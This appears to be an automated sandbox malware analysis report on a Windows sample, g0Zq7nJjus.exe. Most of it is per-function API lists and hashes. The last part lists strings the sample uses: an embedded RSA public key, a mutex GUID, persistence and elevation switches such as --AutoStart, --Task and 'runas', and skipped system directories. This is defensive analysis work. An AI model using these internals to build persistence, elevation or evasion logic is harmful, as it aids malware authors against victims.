COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 02706547
__calloc_crt.LIBCMT ref: 02706598
__lock.LIBCMT ref: 027065AE
__copytlocinfo_nolock.LIBCMT ref: 027065BF
_wcscmp.LIBCMT ref: 027065F9
__lock.LIBCMT ref: 02706610
__updatetlocinfoEx_nolock.LIBCMT ref: 02706622
___removelocaleref.LIBCMT ref: 02706628
__updatetlocinfoEx_nolock.LIBCMT ref: 02706647

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: d21f24f4e75f3fdd0a76709caaed4e08548dab286e0225174bb9102146c55d51
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 3A410232904308EFDB02AFE4D8E8B9E3BEAAF04314F108429EA14961D1DB75965CDF61

Uniqueness

Uniqueness Score: -1.00%

Function 027084AB Relevance: 16.6, APIs: 11, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 027084B1
_free.LIBCMT ref: 027084E2
_free.LIBCMT ref: 027084F5
_free.LIBCMT ref: 02708513
_free.LIBCMT ref: 02708525
_free.LIBCMT ref: 02708536
_free.LIBCMT ref: 02708541
_free.LIBCMT ref: 02708565
_free.LIBCMT ref: 02708581
_free.LIBCMT ref: 02708597
_free.LIBCMT ref: 027085BF

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 408cdbabcb664bfcf5d9b8b1b6b1a694247d9fd2facff7f3fb1e12c17ab482db
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 83318431900260DFCB229F54FCC494D77F6FB14324744862AE909AB2E0CBB459CDAF96

Uniqueness

Uniqueness Score: -1.00%

Function 0272FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0272FC1F

Part of subcall function 0271169C: std::exception::_Copy_str.LIBCMT ref: 027116B5

__CxxThrowException@8.LIBCMT ref: 0272FC34
std::exception::exception.LIBCMT ref: 0272FC4D
__CxxThrowException@8.LIBCMT ref: 0272FC62
std::regex_error::regex_error.LIBCPMT ref: 0272FC74

Part of subcall function 0272F914: std::exception::exception.LIBCMT ref: 0272F92E

__CxxThrowException@8.LIBCMT ref: 0272FC82
std::exception::exception.LIBCMT ref: 0272FC9B
__CxxThrowException@8.LIBCMT ref: 0272FCB0

Strings

leM, xrefs: 0272FCA8

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: f3c3b3523524e6bed0cf2dd712d2a401cd51096aa5319806d6f36b71b850cb96
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 5911BC79C0020DBBCF01FFA9D459CDEBB7DAE04344B808566AD189B645EB74A3488F95

Uniqueness

Uniqueness Score: -1.00%

Function 026EF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 026EF01F

Part of subcall function 02701602: __FF_MSGBANNER.LIBCMT ref: 02701619
Part of subcall function 02701602: __NMSG_WRITE.LIBCMT ref: 02701620

_malloc.LIBCMT ref: 026EF02B
_wprintf.LIBCMT ref: 026EF03E
_free.LIBCMT ref: 026EF044
_free.LIBCMT ref: 026EF065
_malloc.LIBCMT ref: 026EF06D
_sprintf.LIBCMT ref: 026EF0C0
_wprintf.LIBCMT ref: 026EF0D2
_wprintf.LIBCMT ref: 026EF0DC
_free.LIBCMT ref: 026EF0E5

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: d93dbe49eaed55e74da7d58aa107666be2867af8b655230f93c4fe2f31bde249
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 2F113AB65016A0BAC66372F44C69FFF3BED9F45311F440069FE4DE11C0DA185A0897B1

Uniqueness

Uniqueness Score: -1.00%

Function 026F1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 026F19C6
__CxxThrowException@8.LIBCMT ref: 026F19F1
__CxxThrowException@8.LIBCMT ref: 026F1A1A
__CxxThrowException@8.LIBCMT ref: 026F1A4B
_memset.LIBCMT ref: 026F1A6A
__CxxThrowException@8.LIBCMT ref: 026F1A90
_malloc.LIBCMT ref: 026F1AA0
_memset.LIBCMT ref: 026F1AAB
_sprintf.LIBCMT ref: 026F1ACE

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 0950d0def25b331b7430100e71fe75ea2af226ffe5973ce6c880801dc2a06462
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: B7514B71D40219EBDB11DBA5DC8AFEFBBB9FF05744F100025FA09B6280EB745A058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 026EF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 026EF284
__CxxThrowException@8.LIBCMT ref: 026EF2AF
__CxxThrowException@8.LIBCMT ref: 026EF2DE
__CxxThrowException@8.LIBCMT ref: 026EF30F
_memset.LIBCMT ref: 026EF32E
__CxxThrowException@8.LIBCMT ref: 026EF354
_sprintf.LIBCMT ref: 026EF373

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 28fcf515d7c5d0ef4559efe6f1563132f9a8f5146027c22333ce248c2251aaf1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: DA5130B1D40209EBDF11DFA5DC86FEEBBB9EF04704F104129F906B6180D775AA058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 026EF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 026EF4B7
__CxxThrowException@8.LIBCMT ref: 026EF4E2
__CxxThrowException@8.LIBCMT ref: 026EF504
__CxxThrowException@8.LIBCMT ref: 026EF535
_memset.LIBCMT ref: 026EF554
__CxxThrowException@8.LIBCMT ref: 026EF57A
_sprintf.LIBCMT ref: 026EF594

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 577b4e2fe57faacf79ca9c9d9f2a4de474b495364a305475b19dddca10e006dd
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 23514271D40249ABDF11DFA5DC46FEFBBB9FF14704F104129EA06B6280E774AA058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0272208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 027220C6
__invoke_watson.LIBCMT ref: 02722120
_strlen.LIBCMT ref: 027220D4

Part of subcall function 02705BA8: __getptd_noexit.LIBCMT ref: 02705BA8

_strnlen.LIBCMT ref: 0272215F
__lock.LIBCMT ref: 02722170
__getenv_helper_nolock.LIBCMT ref: 0272217B

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 92f331cddcae13a405bb767e3c9d147731869b8d837224c39e0df5b58ae24cd3
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A331F572A00235EBDB336B649C49BAE37D5AF05B24F204015EE04EB2C5DB74D949CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 027A66D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 027A66DD

Part of subcall function 027059BF: __calloc_crt.LIBCMT ref: 027059E2
Part of subcall function 027059BF: __initptd.LIBCMT ref: 02705A04

__calloc_crt.LIBCMT ref: 027A6700
__get_sys_err_msg.LIBCMT ref: 027A671E
__invoke_watson.LIBCMT ref: 027A673B
__get_sys_err_msg.LIBCMT ref: 027A676D
__invoke_watson.LIBCMT ref: 027A678B

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 620ba96fdc6ee2905068bd96bac18cb491264b21ae670c97f988c03130040b57
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: C911E771601215BBEF237A25DC58B7B73CDEF80770F040566FE08A6290E721DD044AE4

Uniqueness

Uniqueness Score: -1.00%

Function 026F2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 026F26DB
_memset.LIBCMT ref: 026F2A30
_memset.LIBCMT ref: 026F2AC0

Strings

D, xrefs: 026F2AC8

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 6c81cc1bb781521056c6112cf7832268c27d6cc1c178ac4fe64af563508bfd1e
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: DCE14D71D0021AEADF64DBA0CD99FEEB7B9BF04304F144069EA09A6190EB746A49CF54

Uniqueness

Uniqueness Score: -1.00%

Function 026ED8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 026ED8EA

Strings

$, xrefs: 026EDAE2
(, xrefs: 026EDAE9
, xrefs: 026EDADB

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 7913f159307db6a80d3b31d7761b068f0277be00ff49a668c388dc2b6f2f583e
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0E91BEB1C01258DAEF21DFA4CC49BEEBBB9AF05304F244068D516772C1EBB65A48CF65

Uniqueness

Uniqueness Score: -1.00%

Function 02705CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 02705CF4

Strings

U, xrefs: 02705CFD

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 3b2d08fd62ae86a248ba845b1a60a998de99e301f1953b319ec255a3b4fcc708
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 51212B32204208FAEB009BB59CC9BBE73DDEB45750F900565F908D61D0FB71EE488EA4

Uniqueness

Uniqueness Score: -1.00%

Function 026FA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 026FA858
_memset.LIBCMT ref: 026FA869
_memset.LIBCMT ref: 026FA87A

Strings

p2Q, xrefs: 026FA882

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: a2cf161f901c49d6a24914f3faed830bce15e9b80e3fc8b8b8434e280788dd8c
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: FDF0ED78698751E5F7227751BC6AB857ED17B31B08F105088E1182E2E1D3FD238CA7DA

Uniqueness

Uniqueness Score: -1.00%

Function 0272FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0272FBF1

Part of subcall function 0271169C: std::exception::_Copy_str.LIBCMT ref: 027116B5

__CxxThrowException@8.LIBCMT ref: 0272FC06

Strings

TeM, xrefs: 0272FBFE
TeM, xrefs: 0272FBE7, 0272FBFB

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 5c1790221d9941b84832d0982fb58628c4e710e3b5f142ff90a6f61359cee0fe
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 60D06775C0020CBBCB01EFA9D459CDDBBB9AE04344B40C466AA189B245EA74A3498F94

Uniqueness

Uniqueness Score: -1.00%

Function 026ED0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0270197D: __wfsopen.LIBCMT ref: 02701988

_fgetws.LIBCMT ref: 026ED15C

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 2b46f9635b67680222a4ee44440aa7680ab01066e79e823a971df7bf5ff7a771
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 4191B372D01319EBCF21DFA4CC847AEB7F9BF05314F140529E916A7280E775AA08CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 026ED540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 026ED77E
_malloc.LIBCMT ref: 026ED7B2
_malloc.LIBCMT ref: 026ED7C1
_fprintf.LIBCMT ref: 026ED815

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 73ddd154a105bcd492d415903693425b11c7e4fced6fc6024f2ed9173fe90e23
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 75A132B1C00249DBEF12EFD4CC49BDEBBB6AF15304F140128D51676292D7B65A48CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 02702AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02702B2E
__read_nolock.LIBCMT ref: 02702BFE
__filbuf.LIBCMT ref: 02702C21
_memset.LIBCMT ref: 02702C65

Part of subcall function 02705BA8: __getptd_noexit.LIBCMT ref: 02705BA8

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 7f039d2de21c2d05a76e057030873e6df4e8c9f955e54a386cba1f53693c4f8e
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: A951A272A01306DBDB258F7988CCA6EB7F6AF40324F148729EC35962D2E7709959CF44

Uniqueness

Uniqueness Score: -1.00%

Function 02721359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0272137D

Part of subcall function 02721A9D: __fltout2.LIBCMT ref: 02721AC6

__cftog_l.LIBCMT ref: 027213A3
__cftoe_l.LIBCMT ref: 027213D5

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 906b6f27f51b2c002f19d4f35d44fc69cd44558d383ae17d6b5b1182f36261de
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: A601483240015EBBCF125E88DE45CEE3F63BB19355B888415FA5D58832D336C5B6AB81

Uniqueness

Uniqueness Score: -1.00%

Function 027A7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 027A7A4B

Part of subcall function 027A8140: ___BuildCatchObjectHelper.LIBCMT ref: 027A8172
Part of subcall function 027A8140: ___AdjustPointer.LIBCMT ref: 027A8189

_UnwindNestedFrames.LIBCMT ref: 027A7A62
___FrameUnwindToState.LIBCMT ref: 027A7A74
CallCatchBlock.LIBCMT ref: 027A7A98

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 6e1dc8676a3c87b2b8ac432c7afbcf737f9031583d671c8a1d535c03d8afb7dc
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 3501D732000109BBCF12AF55CC14EDE7BAAEF88764F158214F91965120D732E961DFA5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: g0Zq7nJjus.exePID: 5044, Parent PID: 6028COMMON

Execution Graph

Execution Coverage:	6.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15%
Total number of Nodes:	2000
Total number of Limit Nodes:	198

Executed Functions

Function 00419F90 Relevance: 178.3, APIs: 65, Strings: 36, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,0061C338,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

F:\, xrefs: 0041B397
x*P, xrefs: 0041ACE4
%username%, xrefs: 0041B283
IsNotTask, xrefs: 0041A654
<, xrefs: 0041A67B
C:\Program Files\Google\, xrefs: 0041AFB9
IsTask, xrefs: 0041A1EE, 0041A299
list<T> too long, xrefs: 0041B669, 0041B673
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
--Service, xrefs: 0041A30B
C:\Windows\, xrefs: 0041AE0F
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
7P, xrefs: 0041B164
IsAutoStart, xrefs: 0041A1D0, 0041A273
D:\Program Files (x86)\Google\, xrefs: 0041B085
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
D:\Windows\, xrefs: 0041AFF3
--AutoStart, xrefs: 0041A2EC
-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7, xrefs: 0041A255, 0041A37B, 0041A847, 0041A955, 0041A962, 0041A97F, 0041A980, 0041A9F2, 0041A9FF, 0041AA16, 0041AA17
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
--Task, xrefs: 0041A2CD
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
runas, xrefs: 0041A6CE
D:\Program Files\Google\, xrefs: 0041B0EE
--Admin, xrefs: 0041A1B4, 0041A632
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
I:\5d2860c89d774.jpg, xrefs: 0041B32F
--ForNetRes, xrefs: 0041A22E
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
X1P, xrefs: 0041A485
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
x2Q, xrefs: 0041A856
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
IsNotAutoStart, xrefs: 0041A645

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-774485112
Opcode ID: 1ef60b3e3929306408e7c4ebcf7b7cf8c3629824015ccfb9f45ad8510ef4ae1a
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 1ef60b3e3929306408e7c4ebcf7b7cf8c3629824015ccfb9f45ad8510ef4ae1a
